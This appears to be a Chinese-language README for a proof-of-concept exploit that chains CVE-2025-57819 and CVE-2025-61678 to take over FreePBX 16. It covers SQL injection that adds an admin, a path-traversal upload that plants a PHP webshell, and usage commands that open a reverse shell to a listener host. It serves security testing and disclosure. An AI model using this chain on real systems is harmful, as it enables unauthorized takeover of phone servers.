FreePBX 16 — 未授权 SQL 注入到远程代码执行

概念验证漏洞利用，通过链式利用两个 FreePBX 漏洞，从 零访问 到 FreePBX 16 上的 远程代码执行。

工作原理

1. 创建管理员（CVE-2025-57819） — 通过命名空间端点加载器，无需认证即可利用堆叠式 SQL 注入，直接向 ampusers 表中 INSERT 一个全新的完全访问管理员。
2. 认证 — PoC 以新创建的用户身份登录管理面板。
3. 放置 WebShell（CVE-2025-61678） — 滥用端点管理器固件上传处理程序，在 fwbrand 中使用 ../../../var/www/html/<dir> 路径遍历，将 PHP WebShell 写入 Web 根目录。
4. 执行 — 运行单个命令或接收交互式反向 Shell。

受影响版本

FreePBX 16（端点模块版本低于 16.0.92）。同样在 17.0.6 中修复。请更新到已修复的版本。

使用方法

# 单条命令
python3 exploit.py --rhost pbx.example.com --command "id"

# 交互式反向 Shell（通过 pwntools 自动监听）
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444

# 纯 HTTP / 自定义端口
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"

参数

依赖

pip install requests pwntools

免责声明

仅用于授权的安全测试和教育目的。请仅在您拥有或已获得明确书面许可的系统上使用。作者不对滥用行为承担任何责任。

关键词

FreePBX · FreePBX 16 · FreePBX 16.0.40.7 · Sangoma PBX · Asterisk · CVE-2025-57819 · CVE-2025-61678 · 未授权 SQL 注入 · 堆叠查询注入 · 端点模块 · 端点管理器 · 已认证文件上传 · 路径遍历 · 远程代码执行 · RCE · PoC · 漏洞利用 · VoIP 安全

linkedin: ehxb · medium.com/@Ehxb · github 0xEhxb